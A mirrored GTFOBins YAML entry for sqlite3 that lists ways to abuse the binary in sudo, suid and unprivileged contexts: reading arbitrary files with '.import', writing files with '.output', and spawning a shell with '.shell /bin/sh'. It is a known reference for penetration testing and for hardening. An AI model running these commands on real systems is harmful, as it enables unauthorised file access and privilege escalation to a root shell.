mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
32 lines
561 B
Plaintext
32 lines
561 B
Plaintext
---
|
|
functions:
|
|
file-read:
|
|
- binary: false
|
|
code: |-
|
|
sqlite3 <<EOF
|
|
CREATE TABLE x(x TEXT);
|
|
.import /path/to/input-file x
|
|
SELECT * FROM x;
|
|
EOF
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
file-write:
|
|
- binary: false
|
|
code: |-
|
|
sqlite3 /dev/null -cmd '.output /path/to/output-file' 'select "DATA";'
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
shell:
|
|
- code: |-
|
|
sqlite3 /dev/null '.shell /bin/sh'
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
...
|